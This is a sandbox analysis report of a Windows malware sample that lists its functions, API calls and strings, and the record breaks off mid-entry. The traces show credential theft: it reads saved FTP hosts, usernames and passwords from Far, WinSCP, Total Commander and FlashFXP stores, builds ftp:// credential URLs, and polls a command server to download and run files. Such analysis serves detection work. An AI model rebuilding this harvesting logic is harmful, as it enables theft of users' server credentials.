&, xrefs: 00403D07
$, xrefs: 00403CF9
ftpininame, xrefs: 00403C41

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocEnvironmentExpandPathPrivateProfileStringStrings$FileFolderFreeOpenRemoveSpec
String ID: #$$$&$*ghisler*$*total*commander*$*totalcmd*$SOFTWARE\Ghisler\Total Commander$ftpininame$installdir
API String ID: 2046068145-3914982127
Opcode ID: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction ID: e3ad36e3959a395177e0e2b587ea9ce0600459653a05a841f57562a17ae86195
Opcode Fuzzy Hash: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction Fuzzy Hash: AF516D72D0010CABDB10DAA1DC85FDF77BCEB44305F1044BBE515F2181EA789B898B65

Function 004027E6 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 355comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 004027F5

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Strings

From: true, xrefs: 00402827

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Internet$InitializeOpenOption
String ID: From: true
API String ID: 1176259655-9585188
Opcode ID: 97ee820607911564f81d2c28c98cc723bebeae55605858c30cb2ec0cfeb5fbf8
Instruction ID: 80b93d55993982ee294e6d3758cd093c071ceb3c0ab782597868a4ea0391af47
Opcode Fuzzy Hash: 97ee820607911564f81d2c28c98cc723bebeae55605858c30cb2ec0cfeb5fbf8
Instruction Fuzzy Hash: 89C1E371E00219AFDF20AFA5CD49A9E77B5AB04304F10447BF814B32D2D6B89D41CFA9

Function 00402E3E Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

Part of subcall function 004058FB: _memset.LIBCMT ref: 0040591C

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000), ref: 00402EC3
GetCurrentDirectoryW.KERNEL32(00001000,00420840), ref: 00402EDC
GetLastError.KERNEL32(?), ref: 00402F4E
GetLastError.KERNEL32 ref: 00403237
GetLastError.KERNEL32(?), ref: 00403258

Strings

^client=, xrefs: 0040301A
file, xrefs: 0040300F
Via: , xrefs: 004030ED
From: , xrefs: 004030C8
^key=, xrefs: 0040305E
.html, xrefs: 00402FFE, 004031EE
none, xrefs: 00402F16

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: ErrorLast$CurrentDirectoryFileModuleName_memset
String ID: .html$From: $Via: $^client=$^key=$file$none
API String ID: 2247176544-3749385445
Opcode ID: 11d3048b97e390bc55daf18a5165622c721ea4f879a8cde4a2ec179576955272
Instruction ID: 295a2e83bb6b363340795eecc9968ea2d400926a6410b4e4a91bd94f8c6abde8
Opcode Fuzzy Hash: 11d3048b97e390bc55daf18a5165622c721ea4f879a8cde4a2ec179576955272
Instruction Fuzzy Hash: 01B17E72A001199BCB24EF61CD91AEB77A9EF44304F4040BFF519E7291EA389A858F59

Function 004041E4 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 210registrymemoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00000C0C), ref: 004041FD
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?,00000008), ref: 004042B3
RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00404373
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404419
RegCloseKey.ADVAPI32(?), ref: 0040442A

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

SOFTWARE\Far\Plugins\ftp\hosts, xrefs: 00404219
hostname, xrefs: 00404258
user, xrefs: 00404274
ftp://%s:%s@%s, xrefs: 004043B7
password, xrefs: 00404282
SOFTWARE\Far2\Plugins\ftp\hosts, xrefs: 0040422A
username, xrefs: 00404266

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: HeapOpen$AllocCloseEnumFree
String ID: SOFTWARE\Far2\Plugins\ftp\hosts$SOFTWARE\Far\Plugins\ftp\hosts$ftp://%s:%s@%s$hostname$password$user$username
API String ID: 416369273-4007225339
Opcode ID: 3f2736f1e0ff0c0d04b40902a03d476764a73bdda13cc27d97253e0528d23963
Instruction ID: d928ca8cdb490927e602bcc25cbe761e1e9ca2c88fd961b6a2cac4e28df6e2a2
Opcode Fuzzy Hash: 3f2736f1e0ff0c0d04b40902a03d476764a73bdda13cc27d97253e0528d23963
Instruction Fuzzy Hash: CF717DB2900118ABCB20EB95CD45EEFBBBDEF48314F10457BF615F2181EA349A458B69

Function 0040451B Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 205registrymemoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00000C20,?,00000000,00000008), ref: 00404542
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 004045DA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404605
RegCloseKey.ADVAPI32(?), ref: 0040476D

Strings

hostname, xrefs: 00404586
ftp://%s:%s@%s:%u, xrefs: 004046F3
password, xrefs: 004045B0
SOFTWARE\martin prikryl\winscp 2\sessions, xrefs: 0040456A
portnumber, xrefs: 00404594
username, xrefs: 004045A2

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: AllocCloseEnumHeapOpen
String ID: SOFTWARE\martin prikryl\winscp 2\sessions$ftp://%s:%s@%s:%u$hostname$password$portnumber$username
API String ID: 3497950970-285550827
Opcode ID: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction ID: 619369561540f7679ee4dce6ffb5b1aea82e2176e3673c83278f81db5409ea06
Opcode Fuzzy Hash: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction Fuzzy Hash: AE715DB2900119AFDB10DBD5CD81AEF77BCEB48308F10447AE605F3291EB389E458B68

Function 00409301 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?,?,+@,004089CD,?,?,?), ref: 0040933E
SysFreeString.OLEAUT32(?), ref: 00409359
SysFreeString.OLEAUT32(?), ref: 00409362
SysAllocString.OLEAUT32(?), ref: 004093B8
SysAllocString.OLEAUT32(javascript), ref: 004093C1
SysFreeString.OLEAUT32(00000000), ref: 004093E3
SysFreeString.OLEAUT32(00000000), ref: 004093E6

Strings

+@, xrefs: 00409301
javascript, xrefs: 004093BA
http:, xrefs: 00409347

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: String$Free$Alloc$CharLower
String ID: http:$javascript$+@
API String ID: 1987340527-3375436608
Opcode ID: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction ID: 0b4048b57b081e67726dd44363989906ad2532c65c6ed0c60c908aefe346602b
Opcode Fuzzy Hash: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction Fuzzy Hash: 6A310A71A00119AFDB04DFA6C889EAEB7B8EF48314B144469E805EB291D775AD41CF64

Function 00407036 Relevance: 16.6, APIs: 11, Instructions: 97filenetworkCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,771B0F00), ref: 00407043
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000004,00000080,00000000), ref: 0040705D
GetLastError.KERNEL32(00000000), ref: 00407079
SetEndOfFile.KERNEL32(00000000), ref: 0040708F
InternetOpenUrlW.WININET(00000000,00000001,00000000,80000000,00000000,00000000), ref: 004070A9
CloseHandle.KERNEL32(00000000), ref: 004070BB

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleInternetLastOpen
String ID:
API String ID: 3711279109-0
Opcode ID: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction ID: 9d8a11a16b3c0a9aa44c9dcc38c8aa686dfb91ece0f3f59227d733df7bad94bb
Opcode Fuzzy Hash: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction Fuzzy Hash: 48313471800119EFEB119FA1DE85AEE7BBDFB04344F104872F652B61A0D731AE21DB66

Function 00405229 Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710), ref: 00405366
Sleep.KERNEL32(00009C40), ref: 00405383
Sleep.KERNEL32(00004E20), ref: 004053D0

Strings

ftp, xrefs: 004052C5
Via: , xrefs: 0040533C
From: , xrefs: 00405318
hOA, xrefs: 00405305
^key=, xrefs: 004052D0
.html, xrefs: 004052B4
CsM, xrefs: 004053B2

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Sleep
String ID: .html$CsM$From: $Via: $^key=$ftp$hOA
API String ID: 3472027048-2333287219
Opcode ID: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction ID: 3376cbd9a830c5581772f61034da1910d267ee329a165acd0f4726bddbbbde03
Opcode Fuzzy Hash: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction Fuzzy Hash: 4E419431A0091887CB24E7A29D529EF73A9EF40318F54407FE905B71D1EA7C9E898F5D

Function 00408CB7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 239COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(00000016), ref: 00408E7A

Strings

http, xrefs: 00408E1A
_self, xrefs: 00408ED5
+@, xrefs: 00408CB7

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: ClearVariant
String ID: _self$http$+@
API String ID: 1473721057-3317424838
Opcode ID: 318762bed40dfdc809c59a68404d151adbfac834f26e4a68fdc08c116542e79f
Instruction ID: ae9540e34d1dd6ebd4224328a85202065bb39baa52f6123ff81f2465f468f74f
Opcode Fuzzy Hash: 318762bed40dfdc809c59a68404d151adbfac834f26e4a68fdc08c116542e79f
Instruction Fuzzy Hash: 6C913D75A00209EFDB00DFA5C988DAEB7B9FF88305B144569E845FB290DB359D41CFA4

Function 00406ADF Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182,?,0040B320,00000000), ref: 00406B8C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406C17

Strings

SOFTWARE\Classes\MIME\Database\Content Type\, xrefs: 00406AF6, 00406B5D, 00406BE8
text/html, xrefs: 00406B01
CLSID, xrefs: 00406B3B, 00406B40, 00406B9D, 00406BB5, 00406C28, 00406C40
application/x-javascript, xrefs: 00406B68
text/javascript, xrefs: 00406BF3

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: CLSID$SOFTWARE\Classes\MIME\Database\Content Type\$application/x-javascript$text/html$text/javascript
API String ID: 3546245721-1332223170
Opcode ID: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction ID: b356448af2dda310db5a41c348b39e69e2b2ee30590ea213815e442ef4722270
Opcode Fuzzy Hash: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction Fuzzy Hash: 0A4142B2650118AAEB10D6519E81BEB73FCEB44309F1144BBE705F2080FB789F598F69

Function 0040A156 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(eventConn), ref: 0040A18D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0040A1D4
SetParent.USER32(00000000,00000000), ref: 0040A1E2
GetWindowLongW.USER32(00000000,000000EC), ref: 0040A1ED
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 0040A1FE
SetWindowPos.USER32(00000000,00000001,00001388,00001388,00000010,?,00000000), ref: 0040A21E

Part of subcall function 0040A0B5: CoInitialize.OLE32(00000000), ref: 0040A0C0
Part of subcall function 0040A0B5: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
Part of subcall function 0040A0B5: CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

eventConn, xrefs: 0040A188
Shell_TrayWnd, xrefs: 0040A1CF

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Window$Long$AllocCreateFindHandleInitializeModuleParentString
String ID: Shell_TrayWnd$eventConn
API String ID: 2141107913-3455059086
Opcode ID: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction ID: 39c15930e577ecb7297998fc23ff8408fdcdb7101606cb16b0d9d8475b405f16
Opcode Fuzzy Hash: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction Fuzzy Hash: 05216834900214EFDB10AFA4CD89FAB7BB9EF0A311F2046B5F901EA2A1C7755D54CB96

Function 004047CC Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

HeapAlloc.KERNEL32(00000008,00000626), ref: 00404888
StrStrIA.SHLWAPI(?,?), ref: 00404913
StrStrIA.SHLWAPI(?,?), ref: 00404925
StrStrIA.SHLWAPI(?,?), ref: 00404935
StrStrIA.SHLWAPI(?,?), ref: 00404947

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Strings

ftp://%S:%S@%S:%u, xrefs: 004049F6
ftplist.txt, xrefs: 00404805

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$AllocCloseCombineFirstHeapMatchNextObjectSingleSleepSpecWait
String ID: ftp://%S:%S@%S:%u$ftplist.txt
API String ID: 1635188419-1322549247
Opcode ID: a8df2d7964cb9d5e44167d75c5d9d1604856ea1b31e7d0b3f7357b398df4251d
Instruction ID: 36c1d9bdffb8f00438c4566312b7f03f9c346fdcff82922ab75e5f9c351e1c12
Opcode Fuzzy Hash: a8df2d7964cb9d5e44167d75c5d9d1604856ea1b31e7d0b3f7357b398df4251d
Instruction Fuzzy Hash: 3581B0B15043819FD721EF29C840A6BBBE5AFC9304F14497EFA84A32D1E738D945CB5A

Function 00407362 Relevance: 13.6, APIs: 9, Instructions: 114timesynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00407374
GetLocalTime.KERNEL32(?), ref: 00407387
GetLocalTime.KERNEL32(?), ref: 0040738D
GetTimeZoneInformation.KERNEL32(?), ref: 004073C2
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407412
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040741C
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00989680,00000000), ref: 0040747A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00989680,00000000), ref: 00407485
CloseHandle.KERNEL32(?,?,?,00989680,00000000), ref: 0040748E

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystemTimerWaitable$CloseCreateHandleInformationObjectSingleWaitZone
String ID:
API String ID: 3166187867-0
Opcode ID: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction ID: 26b14636c49f8a61fb06fac8b942a3fa68f3078aba47330515a101c34858e503
Opcode Fuzzy Hash: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction Fuzzy Hash: 8B316FB2D1022DAACF04EBE5DD459EEB7BDEF44304F10406AF901B3290E7746A04DB69

Function 004089FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

+@, xrefs: 004089FD
http, xrefs: 00408B59

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID:
String ID: http$+@
API String ID: 0-4127549746
Opcode ID: f0dce942b3145dcad46720e365100d861664f6bcad1e9537a21da11c1cc3beb0
Instruction ID: 8803294073e7eabf7739078d3f203694aecc40311bc63510a67c123621be67c8
Opcode Fuzzy Hash: f0dce942b3145dcad46720e365100d861664f6bcad1e9537a21da11c1cc3beb0
Instruction Fuzzy Hash: 5CA17DB1A00519DFDF00DFA5C984AAEB7B5FF89305B14486AE845FB290DB34AD41CFA4

Function 00403740 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004037AD
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00403804

Strings

#, xrefs: 004037DC
&, xrefs: 004037EA
SOFTWARE\FlashFXP\3, xrefs: 0040375E
*flashfxp*, xrefs: 004037CE
datafolder, xrefs: 0040376D

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: EnvironmentExpandFolderOpenPathStrings
String ID: #$&$*flashfxp*$SOFTWARE\FlashFXP\3$datafolder
API String ID: 1994525040-4055253781
Opcode ID: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction ID: b84aa35a929ccb2802933dbb7828156d7819aaa5c632eb2dc8c8e19af11b7673
Opcode Fuzzy Hash: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction Fuzzy Hash: 203130B2900118AADB10EAA5DC85DDF7BBCEB44718F10847BF605F3180EA399B458B69

Function 00409909 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004099EB
SysAllocString.OLEAUT32(?), ref: 004099F9

Strings

http://, xrefs: 00409941
</url>, xrefs: 00409917
<domain>, xrefs: 004099BD
</domain>, xrefs: 004099B8
<url>, xrefs: 0040991C

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </domain>$</url>$<domain>$<url>$http://
API String ID: 2525500382-924421446
Opcode ID: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction ID: c36137c4092f7a01c2c9ac5e3109157182881aca1e17db191de13133e2ad13bf
Opcode Fuzzy Hash: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction Fuzzy Hash: D521D876600218A6DB61AB59CC41BDB33E4FB44794F14407FE508B32C2EB785E4D4F99

Function 00408F26 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(75C0F6A0), ref: 00408F82
SysFreeString.OLEAUT32(0000000B), ref: 00409046

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction ID: f0e6d8e47a3946ab2c5de92fa7688d846ddd73d58da4f3d2da06902102303575
Opcode Fuzzy Hash: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction Fuzzy Hash: A0616C70A0020AEFDB10DFA9DA845AEBBB2FB48304F2048BAD545F7251D7795E52DF08

Function 0040AC93 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,00000000,00000400,00000000), ref: 0040ACAE
Sleep.KERNEL32(0000EA60), ref: 0040AD76
Sleep.KERNEL32(00002710), ref: 0040ADA4

Strings

^rcn=1, xrefs: 0040AD37
hOA, xrefs: 0040ACC0
0, xrefs: 0040AD12
d, xrefs: 0040ADB6
job^rev=%s^os=%s, xrefs: 0040ACDB

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$AttemptConnectInternet
String ID: 0$^rcn=1$d$hOA$job^rev=%s^os=%s
API String ID: 362191241-2593661552
Opcode ID: c6d12f3f342631a53f4ba21eed34aabb8925de89328c1543a1445e18d084db7e
Instruction ID: b79182b1151443badf469ae5f9ae195c128285790c89deda34db11c37ea10ffc
Opcode Fuzzy Hash: c6d12f3f342631a53f4ba21eed34aabb8925de89328c1543a1445e18d084db7e
Instruction Fuzzy Hash: 0531C471D00208ABCF20ABA6DC859AE77BAEF80309F10847BE505B72C1DA7849558B5B

Function 0040D790 Relevance: 10.8, APIs: 7, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 0040D892
__FindPESection.LIBCMT ref: 0040D8AC

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: dad01fb9bdadffb69ef4f48bfe6dd386f460ef773ad6b00c79be1d47ae49c001
Instruction ID: 4070355c3de93ac57746f54d9fb9ba92a54bad1974282013f33c457a7dad05b0
Opcode Fuzzy Hash: dad01fb9bdadffb69ef4f48bfe6dd386f460ef773ad6b00c79be1d47ae49c001
Instruction Fuzzy Hash: 96A1C172F042158BCB24CF98D981B6E77B1EB84314F56813AD815A73D0DB39AC49CB9D

Function 00408825 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004088E4
SysFreeString.OLEAUT32(?), ref: 004088E9
SysFreeString.OLEAUT32(?), ref: 004089D3
SysFreeString.OLEAUT32(?), ref: 004089D8
SysFreeString.OLEAUT32(?), ref: 004089F3

Strings

+@, xrefs: 0040884C

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID: +@
API String ID: 3341692771-3835504741
Opcode ID: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction ID: a3ddab01b40b0bc50fc9c7e4bf61c95a679aea40eaf3a0ce7d8bcb6f132c7745
Opcode Fuzzy Hash: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction Fuzzy Hash: BB518171900219AFDF05BFA1CC45AEF7BB8EF08308F00447AF855B6192EB799A51CB59

Function 0040253C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 113sleepprocessfileCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,00420840,00001000,00000000,?,0040B2BB,00000000,00000000,00000000,00000001,00000000,00000000), ref: 00402566
DeleteFileW.KERNEL32(00000000,00420840,00001000,00000000,?,0040B2BB,00000000,00000000,00000000,00000001,00000000,00000000), ref: 00402587
Sleep.KERNEL32(0000EA60,00000000,00000001,00000000,00000000), ref: 004025B3

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

_memset.LIBCMT ref: 004025DA
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00420840,?,?,?,?,?,00000000,00000001,00000000), ref: 0040264D

Strings

none, xrefs: 00402614

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$AttemptConnectCreateDeleteFileInternetProcess_memset
String ID: none
API String ID: 2353737338-2140143823
Opcode ID: c6b2da4a895c5a3c06ad821b8c76fb1796c02a28dfb90d6d9730734cddc33c41
Instruction ID: 23ab6f573089ca27c74aa918c09813edc931bf25471b74fd790eff350109b64e
Opcode Fuzzy Hash: c6b2da4a895c5a3c06ad821b8c76fb1796c02a28dfb90d6d9730734cddc33c41
Instruction Fuzzy Hash: 8D319231A00219ABCB21EF61DE49AEF7769FF04748F00043BF905B21C1D6789A51CBAE

Function 004094B6 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094E6

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction ID: b8745a711dcf8da59f3798694fa3079dcf63c40c9cdbadd59c4d39193402e254
